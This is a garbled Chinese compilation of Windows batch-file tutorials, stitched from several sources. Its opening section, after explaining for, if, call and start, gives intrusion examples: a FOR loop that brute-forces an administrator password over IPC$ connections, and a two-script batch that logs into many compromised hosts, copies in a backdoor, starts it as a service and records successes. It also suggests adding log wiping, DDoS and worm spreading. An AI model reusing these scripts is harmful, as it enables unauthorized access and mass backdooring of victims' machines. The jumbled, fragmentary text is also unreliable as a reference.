中磁盘上的所有文件均复制到d:\back中;显示的注释提示您将另一张磁盘放入驱动器A 时,pause 命令会使程序挂起,以便您更换磁盘,然后按任意键继续处理;命令从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序;call 命令接受用作调用目标的标签;如果在脚本或批处理文件外使用Call,它将不会在命令行起作用;语法call Drive:Path FileName BatchParameters :label arguments参数Drive:}Path FileName指定要调用的批处理程序的位置和名称;filename 参数必须具有.bat 或.cmd 扩展名;命令调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用;入侵常用参数:MIN 开始时窗口最小化SEPARATE 在分开的空间内开始16 位Windows 程序HIGH 在HIGH 优先级类别开始应用程序REALTIME 在REALTIME 优先级类别开始应用程序WAIT 启动应用程序并等候它结束parameters 这些为传送到命令/程序的参数执行的应用程序是32-位GUI 应用程序时, 不等应用程序终止就返回命令提示;如果在命令脚本内执行,该新行为则不会发生;命令choice 使用此命令可以让用户输入一个字符,从而运行不同的命令;使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格;它的返回码为1234......如: choice /c:dme defrag,mem,end将显示defrag,mem,endD,M,ESample:的内容如下:echo offchoice /c:dme defrag,mem,endif errorlevel 3 goto defrag 应先判断数值最高的错误码if errorlevel 2 goto memif errotlevel 1 goto end:defragc:\dos\defraggoto end:memmemgoto end:endecho good bye此文件运行后,将显示defrag,mem,endD,M,E 用户可选择d m e ,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束;命令if 表示将判断是否符合规定的条件,从而决定执行不同的命令; 有三种格式:a、if "参数" == "字符串" 待执行的命令参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句;注意是两个等号如if "%1"=="a" format a:if {%1}=={} goto noparmsif {%2}=={} goto noparmsb 、if exist 文件名待执行的命令如果有指定的文件,则条件成立,运行命令,否则运行下一句;如if exist editc 、if errorlevel / if not errorlevel 数字待执行的命令如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句;如if errorlevel 2 goto x2DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回码为0、1;命令for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令;在批处理文件中使用FOR 命令时,指定变量请使用%%variablefor {%variable│%%variable} in set do command CommandLineOptions%variable 指定一个单一字母可替换的参数;set 指定一个或一组文件;可以使用通配符;command 指定对每个文件执行的命令;command-parameters 为特定命令指定参数或命令行开关;在批处理文件中使用FOR 命令时,指定变量请使用%%variable而不要用%variable;变量名称是区分大小写的,所以%i 不同于%I如果命令扩展名被启用,下列额外的FOR 命令格式会受到支持:FOR /D %variable IN set DO command command-parameters如果集中包含通配符,则指定与目录名匹配,而不与文件名匹配;FOR /R drive:path %variable IN set DO command command-检查以drive:path 为根的目录树,指向每个目录中的FOR 语句;如果在/R 后没有指定目录,则使用当前目录;如果集仅为一个单点.字符,则枚举该目录树;FOR /L %variable IN start,step,end DO command command-para该集表示以增量形式从开始到结束的一个数字序列;因此,1,1,5 将产生序列1 2 3 4 5,5,-1,1 将产生序列5 4 3 2 1;FOR /F "options" %variable IN file-set DO commandFOR /F "options" %variable IN "string" DO commandFOR /F "options" %variable IN 'command' DO command或者,如果有usebackq 选项:FOR /F "options" %variable IN file-set DO commandFOR /F "options" %variable IN "string" DO commandFOR /F "options" %variable IN 'command' DO commandfilenameset 为一个或多个文件名;继续到filenameset 中的下一个文件之前,每份文件都已被打开、读取并经过处理;处理包括读取文件,将其分成一行行的文字,然后将每行解析成零或更多的符号;然后用已找到的符号字符串变量值调用For 循环;以默认方式,/F 通过每个文件的每一行中分开的第一个空白符号;跳过空白行;您可通过指定可选"options" 参数替代默认解析操作;这个带引号的字符串包括一个或多个指定不同解析选项的关键字;这些关键字为:eol=c - 指一个行注释字符的结尾就一个skip=n - 指在文件开始时忽略的行数;delims=xxx - 指分隔符集;这个替换了空格和跳格键的默认分隔符集;tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代的for 本身;这会导致额外变量名称的格式为一个范围;通过nth 符号指定m 符号字符串中的最后一个字符星号, 那么额外的变量将在最后一个符号解析之分配并接受行的保留文本;usebackq - 指定新语法已在下类情况中使用: 在作为命令执行一个后引号的字符串并且引号字符为文字字符串命令并允许在fi中使用双引号扩起文件名称;sample1:FOR /F "eol=; tokens=2,3 delims=, " %i in do command会分析中的每一行,忽略以分号打头的那些行,将每行中的第二个和第三个符号传递给for 程序体;用逗号和/或空格定界符号;请注意,这个for 程序体的语句引用%i 来取得第二个符号,引用%j 来取得第三个符号,引用%k 来取得第三个符号后的所有剩余符号;对于带有空格的文件名,您需要用双引号将文件名括起来;为了用这种方式来使用双引号,您还需要使用usebackq 选项,否则,双引号会被理解成是用作定义某个要分析的字符串的;%i 专门在for 语句中得到说明,%j 和%k 是通过tokens= 选项专门得到说明的;您可以通过tokens= 一行指定最多26 个符号,只要不试图说明一个高于字母'z' 或'Z' 的变量;请记住,FOR 变量是单一字母、分大小写和全局的;同时不能有52 个以上都在使用中;您还可以在相邻字符串上使用FOR /F 分析逻辑;方法是,用单引号将括号之间的filenameset 括起来;这样,该字符串会被当作一个文件中的一个单一输入行;最后,您可以用FOR /F 命令来分析命令的输出;方法是,将括号之间的filenameset 变成一个反括字符串;该字符串会被当作命令行,传递到一个子,其输出会被抓进内存,并被当作文件分析;因此,以下例子:FOR /F "usebackq delims==" %i IN `set` DO echo %i会枚举当前环境中的环境变量名称;另外,FOR 变量参照的替换已被增强;您现在可以使用下列选项语法:~I - 删除任何引号",扩充%I%~fI - 将%I 扩充到一个完全合格的路径名%~dI - 仅将%I 扩充到一个驱动器号%~pI - 仅将%I 扩充到一个路径%~nI - 仅将%I 扩充到一个文件名%~xI - 仅将%I 扩充到一个文件扩展名%~sI - 扩充的路径只含有短名%~aI - 将%I 扩充到文件的文件属性%~tI - 将%I 扩充到文件的日期/时间%~zI - 将%I 扩充到文件的大小%~$PATH:I - 查找列在路径环境变量的目录,并将%I 扩充到找到的第一个完全合格的名称;如果环境变量未被定义,或者没有找到文件,此组合键会扩充空字符串可以组合修饰符来得到多重结果:%~dpI - 仅将%I 扩充到一个驱动器号和路径%~nxI - 仅将%I 扩充到一个文件名和扩展名%~fsI - 仅将%I 扩充到一个带有短名的完整路径名%~dp$PATH:i - 查找列在路径环境变量的目录,并将%I 扩充到找到的第一个驱动器号和路径;%~ftzaI - 将%I 扩充到类似输出线路的DIR在以上例子中,%I 和PATH 可用其他有效数值代替;%~ 语法用一个有效的FOR 变量名终止;选取类似%I 的大写变量名比较易读,而且避免与不分大小写的组合键混淆;以上是MS的官方帮助,下面我们举几个例子来具体说明一下For命令在入侵中的用途;sample2 :利用For命令来实现对一台目标Win2k主机的暴力密码破解;我们用net use \\ip\ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接,当成功时记下密码;最主要的命令是一条:for /f i% in do net use \\ip\ipc$ "i%" /u:"administrator"用i%来表示admin的密码,在中这个取i%的值用net use 命令来连接;然后将程序运行结果传递给find命令--for /f i%% in do net use \\ip\ipc$ "i%%" /u:"administrator"│find ": 命令成功完成">>D:\ ,这样就ko了;sample3 :你有没有过手里有大量肉鸡等着你去种后门+木马呢,当数量特别多的时候,原本很开心的一件事都会变得很郁闷:;文章开头就谈到使用批处理文件,可以简化日常或重复性任务;那么如何实现呢呵呵,看下去你就会明白了;主要命令也只有一条:在批处理文件中使用FOR 命令时,指定变量使用%%variablefor /f "tokens=1,2,3 delims= " %%i in do start call %%i %%j %%ktokens的用法请参见上面的sample1,在这里它表示按顺序将中的内容传递给中的参数%i %j %k;而无非就是用net use命令来建立IPC$连接,并copy木马+后门到victim,然后用返回码If errorlever =来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件;delims= 表示中的内容是一空格来分隔的;我想看到这里你也一定明白这里的内容是什么样的了;应该根据%%i %%j %%k表示的对象来排列,一般就是ip password username;代码雏形:--------------- cut here then save as a batchfileI call it ---------------------------echo offif "%1"=="" goto usagefor /f "tokens=1,2,3 delims= " %%i in do start call %%i %%j %%kgoto end:usageecho run this batch in dos just double-click it.:end--------------- cut here then save as a batchfileI call it ---------------------------------------------- cut here then save as a batchfileI call it -----------------------------net use \\%1\ipc$ %3 /u:"%2"if errorlevel 1 goto failedecho Trying to establish the IPC$ connection ............OKcopy \\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>p ec \\%1 c:\winnt\system32\p ec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>:failedecho Sorry can not connected to the victim.----------------- cut here then save as a batchfileI call it --------------------------------这只是一个自动种植后门批处理的雏形,两个批处理和后门程序,需放在统一目录下.批处理内容尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能蠕虫.此处不多做叙述,有兴趣的朋友可自行研究.二.如何在批处理文件中使用参数批处理中可以使用参数,一般从1%到9%这九个,当有多个参数时需要用shift来移动,这种情况并不多见,我们就不考虑它了;sample1:echo offif "%1"=="a" format a::formatformat a:/q/u/auotsetecho please insert another disk to driver A.pausegoto fomat这个例子用于连续地格式化几张软盘,所以用的时候需在dos窗口输入a,呵呵,好像有点画蛇添足了~sample2:当我们要建立一个IPC$连接地时候总要输入一大串命令,弄不好就打错了,所以我们不如把一些固定命令写入一个批处理,把肉鸡地ip password username 当着参数来赋给这个批处理,这样就不用每次都打命令了;echo offnet use \\1%\ipc$ "2%" /u:"3%" 注意哦,这里PASSWORD是第二个参数;if errorlevel 1 echo connection failed怎么样,使用参数还是比较简单的吧不好的地方请大家见谅见谅下哈;;。
bat文件命令大全
bat文件命令大全BAT文件命令大全。
BAT文件(批处理文件)是一种包含一系列命令的文本文件,可以用来批量执行各种操作。
在Windows系统中,BAT文件是非常常见和实用的,可以帮助用户自动化执行一系列任务,提高工作效率。
本文将为大家介绍BAT文件中常用的命令,帮助大家更好地利用BAT文件进行工作和管理。
1. ECHO命令。
ECHO命令用于在命令提示符窗口中显示消息,语法为:ECHO [message]例如,输入ECHO Hello World,会在命令提示符窗口中显示“Hello World”。
2. PAUSE命令。
PAUSE命令用于暂停批处理文件的执行,等待用户按下任意键后继续执行。
语法为:PAUSE。
3. DEL命令。
DEL命令用于删除文件,语法为:DEL filename。
例如,输入DEL test.txt,会删除当前目录下的test.txt文件。
4. COPY命令。
COPY命令用于复制文件,语法为:COPY source destination。
例如,输入COPY test.txt C:\temp,会将test.txt文件复制到C盘的temp目录下。
5. MOVE命令。
MOVE命令用于移动文件,语法为:MOVE source destination。
例如,输入MOVE test.txt C:\temp,会将test.txt文件移动到C盘的temp目录下。
6. REN命令。
REN命令用于重命名文件,语法为:REN oldname newname。
例如,输入REN test.txt newtest.txt,会将test.txt文件重命名为newtest.txt。
7. DIR命令。
DIR命令用于列出目录中的文件和子目录,语法为:DIR [directory]例如,输入DIR C:\temp,会列出C盘temp目录中的所有文件和子目录。
8. CD命令。
CD命令用于改变当前目录,语法为:CD directory。
BAT文件常用代码大全
BAT文件常用代码大全BAT文件是Windows操作系统中常用的批处理文件,它可以用来批量执行一系列的命令,从而实现自动化的操作。
在BAT文件中,常用的代码有很多种,包括文件操作、系统管理、网络操作等等。
本文将为大家介绍BAT文件常用代码大全,希望对大家有所帮助。
一、文件操作。
1. 创建文件夹。
在BAT文件中,可以使用mkdir命令来创建文件夹。
例如:mkdir new_folder。
2. 复制文件。
使用copy命令可以实现文件的复制操作。
例如:copy file1.txt file2.txt。
3. 删除文件。
使用del命令可以删除文件。
例如:del file.txt。
4. 移动文件。
使用move命令可以实现文件的移动操作。
例如:move file1.txt folder1。
5. 重命名文件。
使用ren命令可以实现文件的重命名操作。
例如:ren file1.txt new_file.txt。
二、系统管理。
1. 关闭计算机。
使用shutdown命令可以实现关闭计算机的操作。
例如:shutdown /s /t 0。
2. 重启计算机。
使用shutdown命令也可以实现重启计算机的操作。
例如:shutdown /r /t 0。
3. 注销用户。
使用shutdown命令还可以实现注销用户的操作。
例如:shutdown /l。
4. 查看系统信息。
使用systeminfo命令可以查看系统的详细信息。
例如:systeminfo。
5. 清理磁盘空间。
使用cleanmgr命令可以清理磁盘空间。
例如:cleanmgr。
三、网络操作。
1. Ping命令。
使用ping命令可以测试网络连接。
例如:ping 。
2. 显示IP配置。
使用ipconfig命令可以显示网络的IP配置信息。
例如:ipconfig。
3. 显示路由表。
使用route命令可以显示网络的路由表信息。
例如:route print。
4. 显示网络连接。
使用netstat命令可以显示网络的连接信息。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
在批处理文件或CONFIG.SYS中加入注解。也可用REM命令来屏蔽命令(在CONFIG.SYS
中也可以用分号 ; 代替REM命令,但在批处理文件中则不能替代)。
语法
REM [string]
参数
string
指定要屏蔽的命令或要包含的注解。
=======================
cd ucdos 进入ucdos目录
wps 运行wps
批处理文件的参数
批处理文件还可以像C语言的函数一样使用参数(相当于DOS命令的命令行参数),这需要用到一个参数表示符"%"。
%[1-9]表示参数,参数是指在运行批处理文件时在文件名后加的以空格(或者Tab)分隔的字符串。变量可以从%0到%9,%0表示批处理命令本身,其 它参数字符串用%1到%9顺序表示。
-------------------------
ECHO
当程序运行时,显示或隐藏批处理程序中的正文。也可用于允许或禁止命令的回显。
在运行批处理程序时,MS-DOS一般在屏幕上显示(回显)批处理程序中的命令。
使用ECHO命令可关闭此功能。
语法
ECHO [ON|OFF]
以下摘录MS-DOS 6.22 帮助文档中关于"批处理命令"的文字,当然,其中有些概念和定义已经有些落后了。
批处理命令
批处理文件或批处理程序是一个包含若干MS-DOS命令的正文文件,扩展名为.BAT。当在命令提示符下敲入批处理程序的名称时,MS-DOS成组执行此 批处理程序中的命令。
首先, @ 不是一个命令, 而是DOS 批处理的一个特殊标记符, 仅用于屏蔽命令行回显. 下面是DOS命令行或批处理中可能会见到的一些特殊标记符:
CR(0D) 命令行结束符
Escape(1B) ANSI转义字符引导符
Space(20) 常用的参数界定符
Tab(09) ; = 不常用的参数界定符
==== 注 ==================
批 处理文件(batch file)也可以称之为批处理程序(batch program),这一点与编译型语言有所不同,就c语言来说,扩展名为c或者cpp的文件可以称之为c语言文件或者c语言源代码,但只有编译连接后的 exe文件才可以称之为c语言程序。因为批处理文件本身既具有文本的可读性,又具有程序的可执行性,这些称谓的界限是比较模糊的。
任何在命令提示符下可使用的命令都可用在批处理程序中。此外,下面MS-DOS命令是专门在批处理程序中使用的。
==========
常用命令
echo、@、call、pause、rem(小技巧:用::代替rem)是批处理文件最常用的几个命令,我们就从他们开始学起。
==== 注 ===========
batch-parameters
指定批处理程序所需的命令行信息。
-------------------------------
PAUSE
暂停批处理程序的执行并显示一条消息,提示用户按任意键继续执行。只能在批处
理程序中使用该命令。
语法
PAUSE
REM
===================================
首先批处理文件是一个文本文件,这个文件的每一行都是一条DOS命令(大部分时候就好象我们在DOS提示符下执行的命令行一样),你可以使用DOS下的 Edit或者Windows的记事本(notepad)等任何文本文件编辑工具创建和修改批处理文件。
============ 第 四,在DOS和Win9x/Me系统下,C:盘根目录下的AUTOEXEC.BAT批处理文件是自动运行批处理文件,每次系统启动时会自动运行该文件,你 可以将系统每次启动时都要运行的命令放入该文件中,例如设置搜索路径,调入鼠标驱动和磁盘缓存,设置系统环境变量等。下面是一个运行于Windows 98下的autoexec.bat的示例:
CALL
从一个批处理程序中调用另一个批处理程序,而不会引起第一个批处理的中止。
语法
CALL [drive:][path]filename [batch-parameters]
参数
[drive:][path]filename
指定要调用的批处理程序的名字及其存放处。文件名必须用.BAT作扩展名。
==== willsort 编注 =============
以 下关于命令的分类,有很多值得推敲的地方。常用命令中的@本不是命令,而dir、copy等也很常用的命令却没有列入, 而特殊命令中所有命令对我来说都是常用命令。建议将批处理所引用的命令分为内部命令、外部命令、第三方程序三类。而内部命令和外部命令中别有一类是专用于 或常用于批处理中的命令可称之为"批处理命令"。
========================
其 次,批处理文件是一种简单的程序,可以通过条件语句(if)和流程控制语句(goto)来控制命令运行的流程,在批处理中也可以使用循环语句(for)来 循环执行一条命令。当然,批处理文件的编程能力与C语言等编程语句比起来是十分有限的,也是十分不规范的。批处理的程序语句就是一条条的DOS命令(包括 内部命令和外部命令),而批处理的能力主要取决于你所使用的命令。
dir c:\*.* >a.txt 将c盘文件列表写入a.txt
call c:\ucdos\ucdos.bat 调用ucdos
echo 你好 显示"你好"
pause 暂停,等待按键继续
rem 准备运行wps 注释:准备运行wps
==== 注 ===================
批 处理文件中完全可以使用非dos命令,甚至可以使用不具有可执行特性的普通数据性文件,这缘于windows系统这个新型解释平台的涉入,使得批处理的应 用越来越"边缘化"。所以我们讨论的批处理应该限定在dos环境或者命令行环境中,否则很多观念和设定都需要做比较大的变动。
若要用echo命令显示一条命令,可用下述语法:
echo [message]
参数
ON|OFF
指定是否允许命令的回显。若要显示当前的ECHO的设置,可使用不带参数的ECHO
命令。
message
指定让MS-DOS在屏幕上显示的正文。
-------------------
扩展名是bat(在nt/2000/xp/2003下也可以是cmd)的文件就是批处理文件。
==== 注 =======================================
.bat是dos下的批处理文件
.cmd是nt内核命令行环境的另一种批处理文件
从 更广义的角度来看,unix的shell脚本以及其它操作系统甚至应用程序中由外壳进行解释执行的文本,都具有与批处理文件十分相似的作用,而且同样是由 专用解释器以行为单位解释执行,这种文本形式更通用的称谓是脚本语言。所以从某个程度分析,batch, unix shell, awk, basic, perl 等脚本语言都是一样的,只不过应用的范围和解释的平台各有不同而已。甚至有些应用程序仍然沿用批处理这一称呼,而其内容和扩展名与dos的批处理却又完全 不同。
第一, 除了 :: 之外, 任何以 :开头的字符行, 在批处理中都被视作标号, 而直接忽略其后的所有内容, 只是为了与正常的标号相区别, 建议使用 goto 所无法识别的标号, 即在 :后紧跟一个非字母数字的一个特殊符号.
第 二, 与rem 不同的是, ::后的字符行在执行时不会回显, 无论是否用echo on打开命令行回显状态, 因为命令解释器不认为他是一个有效的命令行, 就此点来看, rem 在某些场合下将比 :: 更为适用; 另外, rem 可以用于 config.sys 文件中.
LH CTMOUSE.EXE
SET TEMP=D:\TEMP
SET TMP=D:\TEMP
==== 注 =====
AUTOEXEC.BAT为DOS系统的自动运行批处理文件,由启动时解释执行;
而在Win9x环境中,不仅增加支持了 DOSSTART.BAT, WINSTART.BAT 等许多其它自动运行的批处理文件,对AUTOEXEC.BAT 也增加了 .DOS .W40 .BAK .OLD .PWS 等许多变体以适应复杂的环境和多变的需求。
例2:C:根目录下有一批处理文件名为f.bat,内容为:
@echo off
format %1
如果执行C:\>f a:
那么在执行f.bat时,%1就表示a:,这样format %1就相当于format a:,于是上面的命令运行时实际执行的是format a:
+ COPY命令文件连接符
* ? 文件通配符
"" 字符串界定符
| 命令管道符
< > >> 文件重定向符
@ 命令行回显屏蔽符
/ 参数开关引导符
: 批处理标签引导符
% 批处理变量引导符
其次, :: 确实可以起到rem 的注释作用, 而且更简洁有效; 但有两点需要注意:
pause 运行此句会暂停批处理的执行并在屏幕上显示Press any key to continue...的提示,等待用户按任意键后继续
rem 表示此命令后的字符为解释行(注释),不执行,只是给自己今后参考用的(相当于程序中的注释)。
==== 注 =====
此处的描述较为混乱, 不如直 OFF
PATH C:\WINDOWS;C:\WINDOWS\COMMAND;C:\UCDOS;C:\DOSTools;<br>